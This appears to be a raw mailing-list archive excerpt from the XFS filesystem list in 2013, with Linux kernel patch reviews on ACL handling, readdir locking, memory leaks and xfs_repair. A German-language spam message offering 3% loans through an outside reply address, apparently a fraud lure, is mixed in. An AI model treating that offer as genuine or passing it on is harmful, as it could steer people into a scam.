(acl->a_count > GFS2_ACL_MAX_ENTRIES) > - goto out_release; > + return -EINVAL; > > if (type == ACL_TYPE_ACCESS) { > umode_t mode = inode->i_mode; > + > error = posix_acl_equiv_mode(acl, &mode); > + if (error < 0) > Andy Price has pointed out a missing "return error;" here > - if (error <= 0) { > - posix_acl_release(acl); > + if (error == 0) > acl = NULL; > > - if (error < 0) > - return error; > - } > - Also, there seems to be a white space error in the xfs patch around line 170 in fs/xfs/xfs_iops.c where there is an added "if (default_acl)" with a space before the tab, Steve. From BATV+6528244c091a2e852230+3755+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 4 07:08:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5DE3B7F4E for ; Wed, 4 Dec 2013 07:08:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F2C17AC008 for ; Wed, 4 Dec 2013 05:08:50 -0800 (PST) X-ASG-Debug-ID: 1386162529-04bdf06eee506440001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id FQHz7kj3cCzZcz91 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 04 Dec 2013 05:08:50 -0800 (PST) X-Barracuda-Envelope-From: BATV+6528244c091a2e852230+3755+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoCC8-0000tk-Og; Wed, 04 Dec 2013 13:08:48 +0000 Date: Wed, 4 Dec 2013 05:08:48 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Ben Myers , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: reinstate the iolock in xfs_readdir Message-ID: <20131204130848.GA22926@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: reinstate the iolock in xfs_readdir References: <20131203212951.GP1935@sgi.com> <20131203225520.GZ10988@dastard> <20131203231415.GS1935@sgi.com> <20131204001030.GD10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131204001030.GD10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386162530 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142834 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 04, 2013 at 11:10:30AM +1100, Dave Chinner wrote: > The simple fact is that if we ever want to do concurrent directory > read operations, we have to take the ilock in readdir() to ensure we > can serialise correctly against modifications because the i_mutex > can't be used to do that. So, really, I'm not against the fix you > proposed - I'm just trying to understand why it is necessary right > now.... Some comments from the person who authered that old comment that removed the ilock: - as far as I can tell that was not intentional. I'm usually pretty good at recording such things in the changelog if I do it intentionally. - relying on the open function to read in the extent list seems potentially dangerous. We generally try to make sure all the functions using it read it in if needed including the proper locking. If we want to avoid that for some reason like in the writeback path we at least comment it and put asserts in. - like Dave pointed out I think things should just work for mainline modulo maybe the attr by handle ioctl, but it seems by accident. Figuring out what issues Ben sees would be useful. - instead of putting the ilock back at the highest level we might want to push it down to the dir2 data code and only cover the actual critical region where we need it. - xfs_iread_extents really needs an assert to make sure the ilock is held. - xfs_bmapi_read probably should have an assert as well to make sure the ilock is held in some way From escoltas@ampyme.gob.pa Wed Dec 4 08:11:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6B1F57F4E for ; Wed, 4 Dec 2013 08:11:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 579BA304082 for ; Wed, 4 Dec 2013 06:11:37 -0800 (PST) X-ASG-Debug-ID: 1386166295-04cbb04169504c00001-w1Z2WR Received: from mail.ampyme.gob.pa (mail.ampyme.gob.pa [200.46.193.186]) by cuda.sgi.com with ESMTP id JCsS6VaXvU0sn4H9 for ; Wed, 04 Dec 2013 06:11:35 -0800 (PST) X-Barracuda-Envelope-From: escoltas@ampyme.gob.pa X-Barracuda-Apparent-Source-IP: 200.46.193.186 X-Footer: YW1weW1lLmdvYi5wYQ== Received: from [10.10.10.1] ([10.10.10.1]) by mail.ampyme.gob.pa; Wed, 4 Dec 2013 09:04:23 -0500 To: undisclosed-recipients:; From: Escoltas Subject: =?iso-8859-1?Q?Brauchen_Sie_finanzieren_Ihr_Unternehmen=3F?= Reply-To: capp.ust@blumail.org X-ASG-Orig-Subj: =?iso-8859-1?Q?Brauchen_Sie_finanzieren_Ihr_Unternehmen=3F?= Message-ID: <20131204140423.6a107f98@mail.ampyme.gob.pa> Date: Wed, 04 Dec 2013 09:04:23 -0500 X-User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; Crazy Browser 3.1.0) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------8e703de450161b0e86a170e8df4b3c6f" X-Barracuda-Connect: mail.ampyme.gob.pa[200.46.193.186] X-Barracuda-Start-Time: 1386166295 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142836 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA620a Custom Rule SA620a This is a multi-part message in MIME format. -------------8e703de450161b0e86a170e8df4b3c6f Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable =20 Sind Sie daran interessiert, ein Darlehen zu 3% von unserem privaten Unt= ernehmen=3F Wenn ja, bitte E-Mail: capp.ust@blumail.org =20 =20 =20 -------------8e703de450161b0e86a170e8df4b3c6f Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
 


Sind Sie daran interessiert, ein Darlehen zu 3%= von unserem privaten Unternehmen=3F Wenn ja, bitte
E-Mail: capp.ust@blumail.org
 
 
-------------8e703de450161b0e86a170e8df4b3c6f-- From bpm@sgi.com Wed Dec 4 13:38:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2BF887F3F for ; Wed, 4 Dec 2013 13:38:26 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id B668FAC002; Wed, 4 Dec 2013 11:38:22 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 414CA4266DC; Wed, 4 Dec 2013 13:38:22 -0600 (CST) Date: Wed, 4 Dec 2013 13:38:22 -0600 From: Ben Myers To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs_repair: suggest reboot after dangerous repair Message-ID: <20131204193822.GU1935@sgi.com> References: <52826206.3080106@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52826206.3080106@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Nov 12, 2013 at 11:14:46AM -0600, Eric Sandeen wrote: > If a "dangerous" repair (repair of a readonly mounted fs) > has been done, suggest an immediate reboot upon completion. > > Signed-off-by: Eric Sandeen > --- > > TBH, I don't know how "dangerous" dangerous is. Is this > still required? Was there a crash or something after a repair that led to this patch? Reviewed-by: Ben Myers From sandeen@redhat.com Wed Dec 4 13:42:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4186129DF9 for ; Wed, 4 Dec 2013 13:42:45 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1A7968F8033 for ; Wed, 4 Dec 2013 11:42:45 -0800 (PST) X-ASG-Debug-ID: 1386186164-04cbb041695120c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id usxbTkyxDDWF6PIX; Wed, 04 Dec 2013 11:42:44 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rB4JghHK010940 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 4 Dec 2013 14:42:44 -0500 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rB4JggNn005191 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 4 Dec 2013 14:42:43 -0500 Message-ID: <529F85B2.9090702@redhat.com> Date: Wed, 04 Dec 2013 13:42:42 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Ben Myers CC: xfs-oss Subject: Re: [PATCH] xfs_repair: suggest reboot after dangerous repair References: <52826206.3080106@redhat.com> <20131204193822.GU1935@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: suggest reboot after dangerous repair In-Reply-To: <20131204193822.GU1935@sgi.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386186164 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/4/13, 1:38 PM, Ben Myers wrote: > On Tue, Nov 12, 2013 at 11:14:46AM -0600, Eric Sandeen wrote: >> If a "dangerous" repair (repair of a readonly mounted fs) >> has been done, suggest an immediate reboot upon completion. >> >> Signed-off-by: Eric Sandeen >> --- >> >> TBH, I don't know how "dangerous" dangerous is. Is this >> still required? > > Was there a crash or something after a repair that led to > this patch? > > Reviewed-by: Ben Myers > No, it was generated by a "bug" saying that it was impossible to run fsck.xfs on a root filesystem. That was largely an RTFM kind of thing but since it's normal for some systems to come up w/ RO-root in rescue mode, and people are used to being able to run e2fsck in that mode, it might be worth adding a little help to our tool to accomplish the same thing. -Eric From bpm@sgi.com Wed Dec 4 14:51:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 38E7C29DF9 for ; Wed, 4 Dec 2013 14:51:09 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id CB2E0AC002; Wed, 4 Dec 2013 12:51:05 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 91C964266DC; Wed, 4 Dec 2013 14:51:05 -0600 (CST) Date: Wed, 4 Dec 2013 14:51:05 -0600 From: Ben Myers To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs free the list of recovery items on error. Message-ID: <20131204205105.GV1935@sgi.com> References: <20131002125110.745269864@sgi.com> <20131002125409.930462395@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131002125409.930462395@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Oct 02, 2013 at 07:51:12AM -0500, Mark Tinguely wrote: > Recovery builds a list of items on the transaction's > r_itemq head. Normally these items are committed and freed. > But in the event of a recovery error, these allocations > are leaked. > > If the error occurs during item reordering, then reconstruct > the r_itemq list before deleting the list to avoid leaking > the entries that were on one of the temporary lists. > > Signed-off-by: Mark Tinguely Looks good to me. Reviewed-by: Ben Myers From bpm@sgi.com Wed Dec 4 15:00:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 54E4229DF9 for ; Wed, 4 Dec 2013 15:00:16 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8B336AC002; Wed, 4 Dec 2013 13:00:15 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5F9B74266DC; Wed, 4 Dec 2013 15:00:14 -0600 (CST) Date: Wed, 4 Dec 2013 15:00:14 -0600 From: Ben Myers To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3] xfs: fix memory leak in xfs_dir2_node_removename Message-ID: <20131204210014.GW1935@sgi.com> References: <20131006024850.071924201@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131006024850.071924201@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Sat, Oct 05, 2013 at 09:48:25PM -0500, Mark Tinguely wrote: > Fix the leak of kernel memory in xfs_dir2_node_removename() > when xfs_dir2_leafn_remove() returns an error code. > > Signed-off-by: Mark Tinguely Looks good. Reviewed-by: Ben Myers From bpm@sgi.com Wed Dec 4 15:25:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8613929DF9 for ; Wed, 4 Dec 2013 15:25:04 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4B29730408F; Wed, 4 Dec 2013 13:25:04 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 2E0394266DC; Wed, 4 Dec 2013 15:25:04 -0600 (CST) Date: Wed, 4 Dec 2013 15:25:04 -0600 From: Ben Myers To: Christoph Hellwig Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] fs: fix iversion handling Message-ID: <20131204212504.GX1935@sgi.com> References: <20131119151707.GA13412@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131119151707.GA13412@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Christoph, On Tue, Nov 19, 2013 at 07:17:07AM -0800, Christoph Hellwig wrote: > Currently notify_change directly updates i_version for size updates, > which not only is counter to how all other fields are updated through > struct iattr, but also breaks XFS, which need inode updates to happen > under its own lock, and synchronized to the structure that gets written > to the log. > > Remove the update in the common code, and it to btrfs and ext4, > XFS already does a proper updaste internally and currently gets a > double update with the existing code. > > IMHO this is 3.13 and -stable material and should go in through the XFS > tree. > > Signed-off-by: Christoph Hellwig Does this still need a btrfs ack, or is it ready to go? -Ben From melanie+xfs=oss.sgi.com@lncsa.com Wed Dec 4 15:40:32 2013 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 761F129E04 for ; Wed, 4 Dec 2013 15:40:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D9E7AC005 for ; Wed, 4 Dec 2013 13:40:31 -0800 (PST) X-ASG-Debug-ID: 1386193217-04bdf0131b0d2a0001-NocioJ Received: from mailing-out-vty.lncsa.com (mailing-out-vty-12.lncsa.com [31.216.31.12]) by cuda.sgi.com with ESMTP id KqshYNq5PDgco9cg for ; Wed, 04 Dec 2013 13:40:18 -0800 (PST) X-Barracuda-Envelope-From: melanie+xfs=oss.sgi.com@lncsa.com X-Barracuda-Apparent-Source-IP: 31.216.31.12 From: "Les Nouveaux Constructeurs" To: xfs@oss.sgi.com Content-Type: multipart/related; boundary="1386193217.6Bbb152444.24513"; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Subject: Nouveau sige social Les Nouveaux Constructeurs X-Mailer: Mutt/0.1 (2008-01-14) X-ASG-Orig-Subj: Nouveau sige social Les Nouveaux Constructeurs User-Agent: Mutt/0.1 (2008-01-14) Reply-To: melanie@lncsa.com X-Campagne: t/mailing/2013_12_04_demenagement Date: Wed, 4 Dec 2013 22:40:17 +0100 MIME-Version: 1.0 Message-Id: <20131204214017.786D614A14F@mailing-out-vty.lncsa.com> X-Barracuda-Connect: mailing-out-vty-12.lncsa.com[31.216.31.12] X-Barracuda-Start-Time: 1386193218 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 --1386193217.6Bbb152444.24513 Date: Wed, 4 Dec 2013 22:40:17 +0100 MIME-Version: 1.0 Content-Type: text/html; charset="us-ascii" Les Nouveaux Constructeurs - Nouvelle adresse
Les Nouveaux Constructeurs - Nouvelle adresse dès le 2 décembre 2013
Retrouvez-nous sur notre site LNC.fr
English version English version
Pour ne plus recevoir de courriels de notre part, nous vous invitons à cliquer sur ce lien
--1386193217.6Bbb152444.24513 Date: Wed, 4 Dec 2013 22:40:17 +0100 MIME-Version: 1.0 Content-Type: image/jpeg; name="emailing.jpg" Content-Transfer-Encoding: base64 Content-Disposition: inline Content-ID: <138618672524513250831> /9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QNtaHR0cDov L25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENl aGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4 OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6 MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5 OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHht bG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0i aHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1sbnM6eG1w PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9 InhtcC5kaWQ6OTg5NTQ4RTExNDRERTMxMTg4QThFRjY0N0IzRkIwM0QiIHhtcE1NOkRvY3VtZW50 SUQ9InhtcC5kaWQ6OTdFQjAzQkU1QzE5MTFFMzlDNTJDNUY0NENBOTUwQ0MiIHhtcE1NOkluc3Rh bmNlSUQ9InhtcC5paWQ6OTdFQjAzQkQ1QzE5MTFFMzlDNTJDNUY0NENBOTUwQ0MiIHhtcDpDcmVh dG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBXaW5kb3dzIj4gPHhtcE1NOkRlcml2ZWRGcm9t IHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6NTE4OEIyOEIzNzUxRTMxMUI3MERGMkU3NEI1MjA3 NjAiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6OTg5NTQ4RTExNDRERTMxMTg4QThFRjY0N0Iz RkIwM0QiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBh 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 gP5yG6HsN31R9tZud6lNJVkrd2rqoosZr7Q9YVa6UOuqzzNZKMDGjZeTVueWeSkq/kfkRCQMg3c/ 9BOuSGeRRgJE6INgCJUPkdRwdmmuHuEkFzComJ/GJjgUBHyB7t9ur1NdrIgeWACKCI4ZKQBqEgch IJx6BcdilG3oG7e+1L0NzV7YU2WJW7BgqtdYyLbSQzAkEW1zIBIJe4awlyuyIyCVDPmWwuBIGJvc PjqZ5FZ4/TV3xrNtlG4TcZfIPIz6BgbHGOwMCkbKC1WFQAEBES6D2NPpPq+42P4nbb+hdwVR0SxY WxNZSxhZnwbKDBPhYCGz8+b12NwKd3tNhuqehvutxtabbEeuy/cbW8ecCm6WpbVCPWuvb2FTW2oE nBi4+ipDEBMYyOTTZHzHiqSp6N9yjLTedOUH80oRtYm0mjGIUSUhcq1+DukYwmUUiKtSkUcMkSGV FdVFQpi97sOmdG6Qm3o61tqtxt3pay67xO1Na2PXbY5q4KmiKxoL2swVNWcVNz1vru/q32y6bT/9 UO6370bI/jKtvTSm33Ff4yyyub7F/D7Ry5aytUsMGoswIDrSOS+Ev6zqNxpE7mO940j159PJFFZ5 55htMgV9pOMTpsJZ7WJrKTJvOMKhMNPIVJg7SdotDKaFdfClf6r/ACg2m92zWV1fgrwCA4uVwHXw hlIAkNpI0uzMCcs4CSr1QNh+E2vUU3O8e8sl6bra2IyUixbdACi41uNNw/dgyq6ZBzKqLqXEbJLO NdUKv5ptlAyNVrENdyBjLktyd+vVGXriD0lkSs0VP5vaOqi/j2qibti8VbqomMgYqpP9H5O7XZfl 3uGS3Z7FbttfSWXQLWcFZYzTIsUaCGLEQVidIEnGp6p6qDMu76hXWm33SoXZWNT6kR1DWV02O3ma XVQtQgkhoklVHcePPEim4piZO92/P6DGmQsC+uOQqVyB5Y/V5M7Buxi131mSg8nz5I1CzST0q6iJ 